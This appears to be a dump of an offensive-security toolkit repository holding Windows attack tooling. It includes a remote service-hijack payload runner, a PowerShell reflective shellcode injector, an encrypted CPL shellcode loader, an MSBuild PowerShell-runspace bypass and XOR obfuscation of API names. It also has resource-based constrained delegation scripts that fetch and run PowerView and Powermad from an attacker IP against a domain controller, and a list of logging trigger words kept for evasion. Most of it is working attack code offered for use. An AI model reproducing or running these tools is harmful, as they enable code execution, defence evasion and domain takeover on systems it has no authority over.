(LPTHREAD_START_ROUTINE)go, hinstDLL, 0, NULL); 65 | CloseHandle(threadHandle); 66 | break; 67 | 68 | case DLL_THREAD_ATTACH: 69 | // Thread-specific init code here 70 | break; 71 | 72 | case DLL_THREAD_DETACH: 73 | // Thread-specific cleanup code here 74 | break; 75 | 76 | case DLL_PROCESS_DETACH: 77 | // Cleanup code here 78 | break; 79 | } 80 | 81 | // The return value is used for successful DLL_PROCESS_ATTACH 82 | return TRUE; 83 | } -------------------------------------------------------------------------------- /csharp/PsExecLess.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace PsExecLess 5 | { 6 | class Program 7 | { 8 | [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)] 9 | public static extern IntPtr OpenSCManager( 10 | string machineName, 11 | string databaseName, 12 | uint dwAccess 13 | ); 14 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] 15 | static extern IntPtr OpenService( 16 | IntPtr hSCManager, 17 | string lpServiceName, 18 | uint dwDesiredAccess 19 | ); 20 | [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")] 21 | [return: MarshalAs(UnmanagedType.Bool)] 22 | public static extern bool ChangeServiceConfigA( 23 | IntPtr hService, 24 | uint dwServiceType, 25 | int dwStartType, 26 | int dwErrorControl, 27 | string lpBinaryPathName, 28 | string lpLoadOrderGroup, 29 | string lpdwTagId, 30 | string lpDependencies, 31 | string lpServiceStartName, 32 | string lpPassword, 33 | string lpDisplayName 34 | ); 35 | [DllImport("advapi32", SetLastError = true)] 36 | [return: MarshalAs(UnmanagedType.Bool)] 37 | public static extern bool StartService( 38 | IntPtr hService, 39 | int dwNumServiceArgs, 40 | string[] lpServiceArgVectors 41 | ); 42 | static int Main(string[] args) 43 | { 44 | // .\PsExecLess 45 | // note- payload should be: c:\windows\system32\cmd.exe /C "powershell ..." 46 | if (args.Length == 0) 47 | { 48 | Console.WriteLine("Missing target"); 49 | return 1; 50 | } 51 | 52 | string targService = "SensorService"; 53 | if (args.Length == 2) 54 | { 55 | targService = args[1]; 56 | } 57 | 58 | string payload = "notepad.exe"; 59 | if (args.Length == 3) 60 | { 61 | payload = args[2]; 62 | } 63 | 64 | string target = args[0]; 65 | Console.WriteLine("target: " + target); 66 | Console.WriteLine("service: " + targService); 67 | Console.WriteLine("payload: " + payload); 68 | 69 | IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F); 70 | 71 | // SensorService - avail on Win 10, 16/19 72 | string ServiceName = "InstallService"; 73 | IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF); 74 | 75 | bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null); 76 | 77 | bResult = StartService(schService, 0, null); 78 | 79 | return 0; 80 | } 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /msbuild/WorkFlowCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | test.txt 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | false 13 | true 14 | false 15 | 16 | 17 | 18 | 19 | false 20 | -1 21 | 22 | false 23 | false 24 | 25 | false 26 | CSharp 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /psh/ReflectiveScInject.ps1: -------------------------------------------------------------------------------- 1 | function LookupFunc { 2 | Param ($moduleName, $functionName) 3 | $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 4 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 5 | $tmp=@() 6 | $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} 7 | return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 8 | } 9 | 10 | function getDelegateType { 11 | Param ( 12 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 13 | [Parameter(Position = 1)] [Type] $delType = [Void] 14 | ) 15 | 16 | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 17 | 18 | $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 19 | 20 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 21 | 22 | return $type.CreateType() 23 | } 24 | 25 | # IntPtr hProcess = OpenProcess(0x001F0FFF, false, tProcId); 26 | # IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); 27 | # IntPtr outSize; 28 | # WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); 29 | # IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 30 | [Byte[]] $buf = 0xfc,[...],0xd5 31 | Write-Host "[+] buf.Length: " $buf.Length 32 | $ProcessID = 8308 33 | $hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), ` 34 | (getDelegateType @([UInt32], [bool], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, $false, $ProcessID) 35 | if (!$hProcess) 36 | { 37 | Throw "Unable to open a process handle for PID: $ProcessID" 38 | } 39 | Write-Host "[+] hProcess: " $hProcess 40 | 41 | $addr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), ` 42 | (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0x1000, 0x3000, 0x40) 43 | 44 | Write-Host "[+] addr: " $addr 45 | [Int32]$outSize = 0 46 | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), ` 47 | (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $addr, $buf, $buf.Length + 1, $outSize) 48 | 49 | $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread), ` 50 | (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [IntPtr]::Zero) 51 | 52 | # MASSIVE HELP: https://github.com/smb01/PowershellTools/blob/master/inject.ps1 -------------------------------------------------------------------------------- /cpp/CppCplRunner.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Proof of Concept CPL shellcode runner in c++ using AES encrypted payload. 3 | 4 | Author: @thelikes 5 | 6 | Compile: 7 | 1. "x86_64-w64-mingw32-g++.exe" -Wall -DBUILD_DLL -O2 -c aes.c -o bin\aes.o 8 | 2. "x86_64-w64-mingw32-g++.exe" -Wall -DBUILD_DLL -O2 -c main.cpp -o bin\main.o 9 | 3. "x86_64-w64-mingw32-g++.exe" -shared -Wl,--dll bin\main.o bin\aes.o -o bin\main.dll 10 | 11 | Execute: 12 | > control .\evil.cpl 13 | 14 | Sources: 15 | - https://github.com/gtrubach/MyCPLApplet/ 16 | - https://gist.github.com/securitytube/c956348435cc90b8e1f7 17 | - https://github.com/kokke/tiny-AES-c 18 | - https://gitlab.com/ORCA666/aesshellenc 19 | */ 20 | 21 | #include 22 | #include "aes.h" 23 | 24 | #define DLL_EXPORT __declspec(dllexport) 25 | 26 | DWORD WINAPI ThreadFunction() 27 | { 28 | LPVOID newMemory; 29 | HANDLE currentProcess; 30 | SIZE_T bytesWritten; 31 | BOOL didWeCopy = FALSE; 32 | 33 | // generate tiny-aes encrypted shellcode using: 34 | // https://gitlab.com/ORCA666/aesshellenc/-/blob/main/AESShellEnc/main.c 35 | unsigned char shellcode[] = "PAYLOAD"; 36 | 37 | DWORD shellcodelen = sizeof(shellcode); 38 | 39 | unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey"; 40 | // key should be 32 bytes 41 | unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98"; 42 | // iv should be 16 43 | struct AES_ctx ctx; 44 | AES_init_ctx_iv(&ctx, key, iv); 45 | AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodelen); 46 | 47 | // Get the current process handle 48 | currentProcess = GetCurrentProcess(); 49 | 50 | // Allocate memory with Read+Write+Execute permissions 51 | newMemory = VirtualAllocEx(currentProcess, NULL, shellcodelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 52 | 53 | if (newMemory == NULL) 54 | return -1; 55 | 56 | // Copy the shellcode into the memory we just created 57 | didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&shellcode, shellcodelen, &bytesWritten); 58 | 59 | if (!didWeCopy) 60 | return -2; 61 | 62 | // Yay! Let's run our shellcode! 63 | ((void(*)())newMemory)(); 64 | 65 | return 1; 66 | } 67 | 68 | extern "C" DLL_EXPORT LONG APIENTRY CPlApplet( 69 | HWND hwndCPL, // handle of Control Panel window 70 | UINT uMsg, // message 71 | LONG_PTR lParam1, // first message parameter 72 | LONG_PTR lParam2 // second message parameter 73 | ) { 74 | LONG retCode = 0; 75 | 76 | // debug 77 | //MessageBoxA(nullptr, "cplapplet", "cplapplet", MB_OK); 78 | 79 | ThreadFunction(); 80 | 81 | return retCode; 82 | } 83 | 84 | BOOL WINAPI 85 | DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) 86 | { 87 | switch (dwReason) 88 | { 89 | case DLL_PROCESS_ATTACH: 90 | break; 91 | 92 | case DLL_PROCESS_DETACH: 93 | // Code to run when the DLL is freed 94 | break; 95 | 96 | case DLL_THREAD_ATTACH: 97 | // Code to run when a thread is created during the DLL's lifetime 98 | break; 99 | 100 | case DLL_THREAD_DETACH: 101 | // Code to run when a thread ends normally. 102 | break; 103 | } 104 | return TRUE; 105 | } 106 | -------------------------------------------------------------------------------- /msbuild/MSBuild-RunspaceBypass-Interactive-x64.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 12 | "); 40 | cmd = Console.ReadLine(); 41 | if (String.IsNullOrWhiteSpace(cmd) || cmd == "exit" || cmd == "quit") break; 42 | ps.AddScript(cmd); 43 | ps.AddCommand("Out-String"); 44 | PSDataCollection results = new PSDataCollection(); 45 | ps.Streams.Error.DataAdded += (sender, e) => 46 | { 47 | Console.WriteLine("Error"); 48 | foreach (ErrorRecord er in ps.Streams.Error.ReadAll()) 49 | { 50 | results.Add(er); 51 | } 52 | }; 53 | ps.Streams.Verbose.DataAdded += (sender, e) => 54 | { 55 | foreach (VerboseRecord vr in ps.Streams.Verbose.ReadAll()) 56 | { 57 | results.Add(vr); 58 | } 59 | }; 60 | ps.Streams.Debug.DataAdded += (sender, e) => 61 | { 62 | foreach (DebugRecord dr in ps.Streams.Debug.ReadAll()) 63 | { 64 | results.Add(dr); 65 | } 66 | }; 67 | ps.Streams.Warning.DataAdded += (sender, e) => 68 | { 69 | foreach (WarningRecord wr in ps.Streams.Warning) 70 | { 71 | results.Add(wr); 72 | } 73 | }; 74 | ps.Invoke(null, results); 75 | string output = string.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray()); 76 | ps.Commands.Clear(); 77 | Console.WriteLine(output); 78 | } 79 | rs.Close(); 80 | return true; 81 | } 82 | } 83 | ]]> 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /c/windows/inflate.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define CHUNK 16384 7 | 8 | typedef struct { 9 | unsigned char *data; 10 | size_t size; 11 | } DecompressedData; 12 | 13 | DecompressedData decompress(const unsigned char *source, size_t sourceSize, size_t bufferSize) { 14 | int ret; 15 | unsigned have; 16 | z_stream strm; 17 | unsigned char *out = malloc(bufferSize); 18 | size_t totalSize = 0; 19 | size_t allocatedSize = bufferSize; 20 | unsigned char *result = malloc(allocatedSize); 21 | 22 | if (out == NULL || result == NULL) { 23 | fprintf(stderr, "Memory allocation error\n"); 24 | exit(1); 25 | } 26 | 27 | // Allocate inflate state 28 | strm.zalloc = Z_NULL; 29 | strm.zfree = Z_NULL; 30 | strm.opaque = Z_NULL; 31 | strm.avail_in = 0; 32 | strm.next_in = Z_NULL; 33 | ret = inflateInit2(&strm, 16 + MAX_WBITS); // 16 + MAX_WBITS for gzip decoding 34 | if (ret != Z_OK) { 35 | fprintf(stderr, "inflateInit error: %d\n", ret); 36 | exit(1); 37 | } 38 | 39 | // Decompress until deflate stream ends or end of buffer 40 | strm.avail_in = sourceSize; 41 | strm.next_in = (unsigned char *)source; 42 | 43 | do { 44 | strm.avail_out = bufferSize; 45 | strm.next_out = out; 46 | ret = inflate(&strm, Z_NO_FLUSH); 47 | switch (ret) { 48 | case Z_NEED_DICT: 49 | ret = Z_DATA_ERROR; // and fall through 50 | case Z_DATA_ERROR: 51 | case Z_MEM_ERROR: 52 | (void)inflateEnd(&strm); 53 | fprintf(stderr, "inflate error: %d\n", ret); 54 | exit(1); 55 | } 56 | have = bufferSize - strm.avail_out; 57 | totalSize += have; 58 | if (totalSize > allocatedSize) { 59 | allocatedSize *= 2; 60 | result = realloc(result, allocatedSize); 61 | if (result == NULL) { 62 | fprintf(stderr, "Memory allocation error\n"); 63 | exit(1); 64 | } 65 | } 66 | memcpy(result + totalSize - have, out, have); 67 | 68 | } while (ret != Z_STREAM_END); 69 | 70 | // Clean up 71 | (void)inflateEnd(&strm); 72 | free(out); 73 | 74 | if (ret != Z_STREAM_END) { 75 | fprintf(stderr, "File decompression failed\n"); 76 | exit(1); 77 | } 78 | 79 | DecompressedData decompressedData = {result, totalSize}; 80 | return decompressedData; 81 | } 82 | 83 | int main(int argc, char **argv) { 84 | if (argc != 3) { 85 | fprintf(stderr, "Usage: %s \n", argv[0]); 86 | return 1; 87 | } 88 | 89 | FILE *source = fopen(argv[1], "rb"); 90 | if (source == NULL) { 91 | perror("Failed to open input file"); 92 | return 1; 93 | } 94 | 95 | fseek(source, 0, SEEK_END); 96 | size_t sourceSize = ftell(source); 97 | fseek(source, 0, SEEK_SET); 98 | unsigned char *sourceBuffer = malloc(sourceSize); 99 | if (sourceBuffer == NULL) { 100 | perror("Memory allocation error"); 101 | fclose(source); 102 | return 1; 103 | } 104 | fread(sourceBuffer, 1, sourceSize, source); 105 | fclose(source); 106 | 107 | DecompressedData decompressedData = decompress(sourceBuffer, sourceSize, CHUNK); 108 | free(sourceBuffer); 109 | 110 | FILE *dest = fopen(argv[2], "wb"); 111 | if (dest == NULL) { 112 | perror("Failed to open output file"); 113 | free(decompressedData.data); 114 | return 1; 115 | } 116 | fwrite(decompressedData.data, 1, decompressedData.size, dest); 117 | fclose(dest); 118 | free(decompressedData.data); 119 | 120 | printf("File successfully decompressed.\n"); 121 | return 0; 122 | } 123 | -------------------------------------------------------------------------------- /csharp/XorString.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | /* 6 | * @thelikes 7 | * 8 | * .\XorPoc.exe NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory 9 | [>] encrypting 3 entries 10 | [>] key: 58347655755a5330325954506e325566534f556e586f454c6c4d48 11 | [>] plaintext string: NtAllocateVirtualMemory 12 | [>] encrypted string: 1640373919353051463c02391c4620073f023003371d 13 | [>] decrypted string: NtAllocateVirtualMemory 14 | [>] plaintext string: NtWriteVirtualMemory 15 | [>] encrypted string: 164021271c2e36665b2b20250f5e18033e2027 16 | [>] decrypted string: NtWriteVirtualMemory 17 | [>] plaintext string: NtProtectVirtualMemory 18 | [>] encrypted string: 164026271a2e3653460f3d221a47340a1e2a38012a 19 | [>] decrypted string: NtProtectVirtualMemory 20 | */ 21 | 22 | namespace XorPoc 23 | { 24 | class Program 25 | { 26 | static void Main(string[] args) 27 | { 28 | // get proper input 29 | if (args.Length != 1) 30 | { 31 | Console.WriteLine("[>] Error: plaintext string, or array of strings delimited by a comman, required"); 32 | return; 33 | } 34 | 35 | string[] pTextArr; 36 | 37 | // parse input 38 | if (args[0].Contains(",")) 39 | { 40 | pTextArr = args[0].Split(",".ToCharArray()); 41 | } else 42 | { 43 | List list = new List(); 44 | list.Add(args[0]); 45 | pTextArr = list.ToArray(); 46 | } 47 | 48 | Console.WriteLine("[>] encrypting " + pTextArr.Length + " entries"); 49 | 50 | // generate a key 51 | var key = RandString(28); 52 | 53 | Console.WriteLine("[>] key: " + ToHex(Encoding.Default.GetBytes(key))); 54 | 55 | // process 56 | foreach (string pText in pTextArr) 57 | { 58 | Console.WriteLine("[>] plaintext string: " + pText); 59 | 60 | string eText = XOR(pText, key); 61 | 62 | Console.WriteLine("[>] encrypted string: " + ToHex(Encoding.Default.GetBytes(eText))); 63 | 64 | string dText = XOR(eText, key); 65 | 66 | Console.WriteLine("[>] decrypted string: " + dText); 67 | } 68 | 69 | return; 70 | } 71 | private static string ToHex(byte[] data) 72 | { 73 | StringBuilder hex = new StringBuilder(data.Length * 2); 74 | foreach (byte b in data) 75 | { 76 | //hex.AppendFormat("0x{0:x2}, ", b); 77 | hex.AppendFormat("{0:x2}", b); 78 | } 79 | return hex.ToString().Remove(hex.ToString().Length - 2); 80 | } 81 | private static string RandString(int length) 82 | { 83 | var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; 84 | var stringChars = new char[length]; 85 | var random = new Random(); 86 | 87 | for (int i = 0; i < stringChars.Length; i++) 88 | { 89 | stringChars[i] = chars[random.Next(chars.Length)]; 90 | } 91 | 92 | var finalString = new String(stringChars); 93 | return finalString; 94 | } 95 | private static string XOR(string input, string key) 96 | { 97 | var kL = key.Length; 98 | 99 | StringBuilder output = new StringBuilder(); 100 | for (int i = 0; i < input.Length; i++) 101 | output.Append((char)(input[i] ^ key[(i % key.Length)])); 102 | String result = output.ToString(); 103 | 104 | return result; 105 | } 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /psh/Invoke-Rbcd.ps1: -------------------------------------------------------------------------------- 1 | # resource based constrained delegation 2 | 3 | function Invoke-Rbcd { 4 | $urlPowerView = 'http://10.10.14.4:8080/psh/PowerView.ps1' 5 | $urlPowermad = 'http://10.10.14.4:8080/psh/Powermad.ps1' 6 | $atksys = 'fs-thelikes' 7 | $vicsys = 'dc.cap.local' 8 | 9 | (new-object net.webclient).downloadstring($urlPowerView) | iex 10 | (new-object net.webclient).downloadstring($urlPowermad) | iex 11 | 12 | # get a computer account hash or create computer account 13 | New-MachineAccount -MachineAccount $atksys -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force) 14 | 15 | # instantiate a SecurityDescriptor object 16 | $sid =Get-DomainComputer -Identity $atksys -Properties objectsid | Select -Expand objectsid 17 | 18 | $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))" 19 | 20 | # convert to byte array 21 | $SDbytes = New-Object byte[] ($SD.BinaryLength) 22 | 23 | $SD.GetBinaryForm($SDbytes,0) 24 | 25 | # obtain handle to victim computer object 26 | Get-DomainComputer -Identity $vicsys | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} 27 | 28 | # check it 29 | $RBCDbytes = Get-DomainComputer $vicsys -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity 30 | 31 | $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0 32 | 33 | $Descriptor.DiscretionaryAcl 34 | ConvertFrom-SID $Descriptor.DiscretionaryAcl.SecurityIdentifier 35 | } 36 | 37 | # source: https://gist.github.com/HarmJ0y/a1ae1cf09e5ac89ee15fb3da25dcb10a 38 | function Invoke-UserRbcd { 39 | $urlPowerView = 'http://10.10.14.4:8080/psh/PowerView.ps1' 40 | $urlPowermad = 'http://10.10.14.4:8080/psh/Powermad.ps1' 41 | 42 | # import 43 | (new-object net.webclient).downloadstring($urlPowerView) | iex 44 | (new-object net.webclient).downloadstring($urlPowermad) | iex 45 | 46 | # the target computer object we're taking over 47 | $TargetComputer = "dc.cap.local" 48 | # account with rights over the target) 49 | $attacker = "svc_apache" 50 | # the identity we control that we want to grant S4U access to the target 51 | $S4UIdentity = "cap.local\svc_sql" 52 | 53 | # find targets with S4U2Self enabled 54 | Get-DomainObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=16777216)' -Properties samaccountname,useraccountcontrol | fl 55 | 56 | # get our attacker's SID (account with rights over the target) 57 | $AttackerSID = Get-DomainUser $attacker -Properties objectsid | Select -Expand objectsid 58 | 59 | # verify the GenericWrite permissions on $TargetComputer 60 | $ACE = Get-DomainObjectACL $TargetComputer | ?{$_.SecurityIdentifier -match $AttackerSID} 61 | $ACE 62 | ConvertFrom-SID $ACE.SecurityIdentifier 63 | 64 | # translate the identity to a security identifier 65 | $IdentitySID = ((New-Object -TypeName System.Security.Principal.NTAccount -ArgumentList $S4UIdentity).Translate([System.Security.Principal.SecurityIdentifier])).Value 66 | 67 | # substitute the security identifier into the raw SDDL 68 | $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($IdentitySID))" 69 | 70 | # get the binary bytes for the SDDL 71 | $SDBytes = New-Object byte[] ($SD.BinaryLength) 72 | $SD.GetBinaryForm($SDBytes, 0) 73 | 74 | # set new security descriptor for 'msds-allowedtoactonbehalfofotheridentity' 75 | Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 76 | 77 | # check that the ACE added correctly 78 | $RawBytes = Get-DomainComputer $TargetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity 79 | $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 80 | $Descriptor.DiscretionaryAcl 81 | ConvertFrom-SID $Descriptor.DiscretionaryAcl.SecurityIdentifier 82 | } 83 | -------------------------------------------------------------------------------- /psh/New-IsoFile.ps1: -------------------------------------------------------------------------------- 1 | function New-IsoFile 2 | { 3 | <# 4 | .Synopsis 5 | Creates a new .iso file 6 | .Description 7 | The New-IsoFile cmdlet creates a new .iso file containing content from chosen folders 8 | .Example 9 | New-IsoFile "c:\tools","c:Downloads\utils" 10 | This command creates a .iso file in $env:temp folder (default location) that contains c:\tools and c:\downloads\utils folders. The folders themselves are included at the root of the .iso image. 11 | .Example 12 | New-IsoFile -FromClipboard -Verbose 13 | Before running this command, select and copy (Ctrl-C) files/folders in Explorer first. 14 | .Example 15 | dir c:\WinPE | New-IsoFile -Path c:\temp\WinPE.iso -BootFile "${env:ProgramFiles(x86)}\Windows Kits\10\Assessment and Deployment Kit\Deployment Tools\amd64\Oscdimg\efisys.bin" -Media DVDPLUSR -Title "WinPE" 16 | This command creates a bootable .iso file containing the content from c:\WinPE folder, but the folder itself isn't included. Boot file etfsboot.com can be found in Windows ADK. Refer to IMAPI_MEDIA_PHYSICAL_TYPE enumeration for possible media types: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366217(v=vs.85).aspx 17 | .Notes 18 | NAME: New-IsoFile 19 | AUTHOR: Chris Wu 20 | LASTEDIT: 03/23/2016 14:46:50 21 | #> 22 | 23 | [CmdletBinding(DefaultParameterSetName='Source')]Param( 24 | [parameter(Position=1,Mandatory=$true,ValueFromPipeline=$true, ParameterSetName='Source')]$Source, 25 | [parameter(Position=2)][string]$Path = "$env:temp\$((Get-Date).ToString('yyyyMMdd-HHmmss.ffff')).iso", 26 | [ValidateScript({Test-Path -LiteralPath $_ -PathType Leaf})][string]$BootFile = $null, 27 | [ValidateSet('CDR','CDRW','DVDRAM','DVDPLUSR','DVDPLUSRW','DVDPLUSR_DUALLAYER','DVDDASHR','DVDDASHRW','DVDDASHR_DUALLAYER','DISK','DVDPLUSRW_DUALLAYER','BDR','BDRE')][string] $Media = 'DVDPLUSRW_DUALLAYER', 28 | [string]$Title = (Get-Date).ToString("yyyyMMdd-HHmmss.ffff"), 29 | [switch]$Force, 30 | [parameter(ParameterSetName='Clipboard')][switch]$FromClipboard 31 | ) 32 | 33 | Begin { 34 | ($cp = new-object System.CodeDom.Compiler.CompilerParameters).CompilerOptions = '/unsafe' 35 | if (!('ISOFile' -as [type])) { 36 | Add-Type -CompilerParameters $cp -TypeDefinition @' 37 | public class ISOFile 38 | { 39 | public unsafe static void Create(string Path, object Stream, int BlockSize, int TotalBlocks) 40 | { 41 | int bytes = 0; 42 | byte[] buf = new byte[BlockSize]; 43 | var ptr = (System.IntPtr)(&bytes); 44 | var o = System.IO.File.OpenWrite(Path); 45 | var i = Stream as System.Runtime.InteropServices.ComTypes.IStream; 46 | 47 | if (o != null) { 48 | while (TotalBlocks-- > 0) { 49 | i.Read(buf, BlockSize, ptr); o.Write(buf, 0, bytes); 50 | } 51 | o.Flush(); o.Close(); 52 | } 53 | } 54 | } 55 | '@ 56 | } 57 | 58 | if ($BootFile) { 59 | if('BDR','BDRE' -contains $Media) { Write-Warning "Bootable image doesn't seem to work with media type $Media" } 60 | ($Stream = New-Object -ComObject ADODB.Stream -Property @{Type=1}).Open() # adFileTypeBinary 61 | $Stream.LoadFromFile((Get-Item -LiteralPath $BootFile).Fullname) 62 | ($Boot = New-Object -ComObject IMAPI2FS.BootOptions).AssignBootImage($Stream) 63 | } 64 | 65 | $MediaType = @('UNKNOWN','CDROM','CDR','CDRW','DVDROM','DVDRAM','DVDPLUSR','DVDPLUSRW','DVDPLUSR_DUALLAYER','DVDDASHR','DVDDASHRW','DVDDASHR_DUALLAYER','DISK','DVDPLUSRW_DUALLAYER','HDDVDROM','HDDVDR','HDDVDRAM','BDROM','BDR','BDRE') 66 | 67 | Write-Verbose -Message "Selected media type is $Media with value $($MediaType.IndexOf($Media))" 68 | ($Image = New-Object -com IMAPI2FS.MsftFileSystemImage -Property @{VolumeName=$Title}).ChooseImageDefaultsForMediaType($MediaType.IndexOf($Media)) 69 | 70 | if (!($Target = New-Item -Path $Path -ItemType File -Force:$Force -ErrorAction SilentlyContinue)) { Write-Error -Message "Cannot create file $Path. Use -Force parameter to overwrite if the target file already exists."; break } 71 | } 72 | 73 | Process { 74 | if($FromClipboard) { 75 | if($PSVersionTable.PSVersion.Major -lt 5) { Write-Error -Message 'The -FromClipboard parameter is only supported on PowerShell v5 or higher'; break } 76 | $Source = Get-Clipboard -Format FileDropList 77 | } 78 | 79 | foreach($item in $Source) { 80 | if($item -isnot [System.IO.FileInfo] -and $item -isnot [System.IO.DirectoryInfo]) { 81 | $item = Get-Item -LiteralPath $item 82 | } 83 | 84 | if($item) { 85 | Write-Verbose -Message "Adding item to the target image: $($item.FullName)" 86 | try { $Image.Root.AddTree($item.FullName, $true) } catch { Write-Error -Message ($_.Exception.Message.Trim() + ' Try a different media type.') } 87 | } 88 | } 89 | } 90 | 91 | End { 92 | if ($Boot) { $Image.BootImageOptions=$Boot } 93 | $Result = $Image.CreateResultImage() 94 | [ISOFile]::Create($Target.FullName,$Result.ImageStream,$Result.BlockSize,$Result.TotalBlocks) 95 | Write-Verbose -Message "Target image ($($Target.FullName)) has been created" 96 | $Target 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /psh/BadWords.txt: -------------------------------------------------------------------------------- 1 | # source: https://github.com/PowerShell/PowerShell/blob/bf912460299b1920b5f9684cfd9acd18e03d0153/src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs#L1797-L1933 2 | case 3012981990: return "Add-Type"; 3 | case 3359423881: return "DllImport"; 4 | 5 | // Doing dynamic assembly building / method indirection 6 | case 2713126922: return "DefineDynamicAssembly"; 7 | case 2407049616: return "DefineDynamicModule"; 8 | case 3276870517: return "DefineType"; 9 | case 419507039: return "DefineConstructor"; 10 | case 1370182198: return "CreateType"; 11 | case 1973546644: return "DefineLiteral"; 12 | case 3276413244: return "DefineEnum"; 13 | case 2785322015: return "DefineField"; 14 | case 837002512: return "ILGenerator"; 15 | case 3117011: return "Emit"; 16 | case 883134515: return "UnverifiableCodeAttribute"; 17 | case 2920989166: return "DefinePInvokeMethod"; 18 | case 1996222179: return "GetTypes"; 19 | case 3935635674: return "GetAssemblies"; 20 | case 955534258: return "Methods"; 21 | case 3368914227: return "Properties"; 22 | 23 | // Suspicious methods / properties on "Type" 24 | case 398423780: return "GetConstructor"; 25 | case 3761202703: return "GetConstructors"; 26 | case 1998297230: return "GetDefaultMembers"; 27 | case 1982269700: return "GetEvent"; 28 | case 1320818671: return "GetEvents"; 29 | case 1982805860: return "GetField"; 30 | case 1337439631: return "GetFields"; 31 | case 2784018083: return "GetInterface"; 32 | case 2864332761: return "GetInterfaceMap"; 33 | case 405214768: return "GetInterfaces"; 34 | case 1534378352: return "GetMember"; 35 | case 321088771: return "GetMembers"; 36 | case 1534592951: return "GetMethod"; 37 | case 327741340: return "GetMethods"; 38 | case 1116240007: return "GetNestedType"; 39 | case 243701964: return "GetNestedTypes"; 40 | case 